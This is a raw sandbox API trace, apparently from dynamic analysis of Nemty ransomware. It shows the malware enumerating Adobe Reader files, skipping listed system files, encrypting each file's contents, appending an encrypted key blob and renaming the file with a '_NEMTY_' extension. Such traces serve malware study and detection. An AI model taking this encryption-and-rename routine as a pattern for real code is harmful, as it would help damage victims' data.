[0193.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.691] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.691] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.691] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.691] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_browser.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_browser.gif._nemty_kgobjgd_")) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.694] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.694] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="review_email.gif", cAlternateFileName="REVIEW~2.GIF")) returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2=".") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="..") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="...") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="windows") returned -1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="rsa") returned -1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="NTDETECT.COM") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="ntldr") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="MSDOS.SYS") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="IO.SYS") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="boot.ini") returned 1 [0193.694] lstrcmpiW (lpString1="review_email.gif", lpString2="boot.ini") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="ntuser.dat") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="desktop.ini") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="CONFIG.SYS") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="RECYCLER") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="bootmgr") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="programdata") returned 1 [0193.695] lstrcmpiW (lpString1="review_email.gif", lpString2="appdata") returned 1 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_email.gif", lpUsedDefaultChar=0x0) returned 16 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_email.gif", lpUsedDefaultChar=0x0) returned 16 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_email.gif", lpUsedDefaultChar=0x0) returned 16 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_email.gif", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_email.gif", lpUsedDefaultChar=0x0) returned 16 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0193.695] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0193.695] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.696] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94330 [0193.696] Sleep (dwMilliseconds=0x5) [0193.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271a5610, dwHighDateTime=0x1d561e8)) [0193.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271a5610, dwHighDateTime=0x1d561e8)) [0193.703] GetLastError () returned 0x0 [0193.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.703] GetLastError () returned 0x0 [0193.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.703] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.704] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="xRV2B9uZDKNw3Gw2S7yZoVhLlpNA/qT+AEj7XauzGYrcmTQC2AuyYM9r27gfqqs5\r\naX8+rhSF6Awuz8UQjh8tyc0LVH/rx7BrtTJOkKs/EM6toNF2NHrauK2q24MOznph\r\njRHA622xMtZuRs4ZBf7IIq6gqlD8a3CI1qzZ4RLOF/++cUfq1Ko6KhzJgvsERrLZ\r\nSNI7eS6NhJTX7iCJBImXyJzWNX3dRJc2Ipffcsi4dbq1+vog4npXSYr9a62Pgmhp\r\nig9sOVUIQDshubkIWH+tGXyTxQnzqyVYIVnBY2A+ynt/qKmGGsE34mXND7SMs774\r\nAH2uAUt8UHL4w12uKquxVQ==\r\n", pcchString=0x653e91c) returned 1 [0193.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.704] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.704] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1405) returned 1 [0193.704] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x570) returned 0x6340048 [0193.704] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.704] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x570, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x570, lpOverlapped=0x0) returned 1 [0193.706] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.706] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x570, lpOverlapped=0x0) returned 1 [0193.706] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.706] SetFilePointer (in: hFile=0x254, lDistanceToMove=1405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x57d [0193.706] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.706] CloseHandle (hObject=0x254) returned 1 [0193.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0193.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0193.707] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340198 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.707] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif._nemty_kgobjgd_")) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.707] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.708] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="review_same_reviewers.gif", cAlternateFileName="RE78D9~1.GIF")) returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2=".") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="..") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="...") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="windows") returned -1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="rsa") returned -1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="NTDETECT.COM") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="ntldr") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="MSDOS.SYS") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="IO.SYS") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="boot.ini") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="boot.ini") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="ntuser.dat") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="desktop.ini") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="CONFIG.SYS") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="RECYCLER") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="bootmgr") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="programdata") returned 1 [0193.708] lstrcmpiW (lpString1="review_same_reviewers.gif", lpString2="appdata") returned 1 [0193.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_same_reviewers.gif", lpUsedDefaultChar=0x0) returned 25 [0193.708] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.708] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_same_reviewers.gif", lpUsedDefaultChar=0x0) returned 25 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_same_reviewers.gif", lpUsedDefaultChar=0x0) returned 25 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.709] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="review_same_reviewers.gif", cchWideChar=25, lpMultiByteStr=0x4f9ed08, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="review_same_reviewers.gif", lpUsedDefaultChar=0x0) returned 25 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94330 [0193.709] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.709] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.709] Sleep (dwMilliseconds=0x5) [0193.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271cb770, dwHighDateTime=0x1d561e8)) [0193.719] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x271cb770, dwHighDateTime=0x1d561e8)) [0193.719] GetLastError () returned 0x0 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.719] GetLastError () returned 0x0 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.719] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="YCtwrDYd6GA5AwbDSBPDEEixpAjJLWoWQf/3JQTy1zLPVhfA2rLLEz1aDmQYWuM3\r\nsNa3iAK719/+PWR842/1zaMtOTxsn+enA6GWiz5F5/4HxjbHdIvu8oCdfDA8odDS\r\nPcgIZTTElFZui8MbfQJjtpLldvkCUQBEIDsbSbHTuoZsayKODxY/VQGcmJnNBxy3\r\nZiS5Ey2wo6pNDeyEdcyiT+HQ/6O5aozG5Z3t6sYMgUt4//NYgsImjScU7TYti8d4\r\nol9OOK5O3GmQPmXHZuUe31Z+vlaciv91be58EWcQrPSJ6UAXzhhShBjDFbCWb2A1\r\noAPkBLB1fwwKWdaJXi7MMg==\r\n", pcchString=0x653e91c) returned 1 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.719] 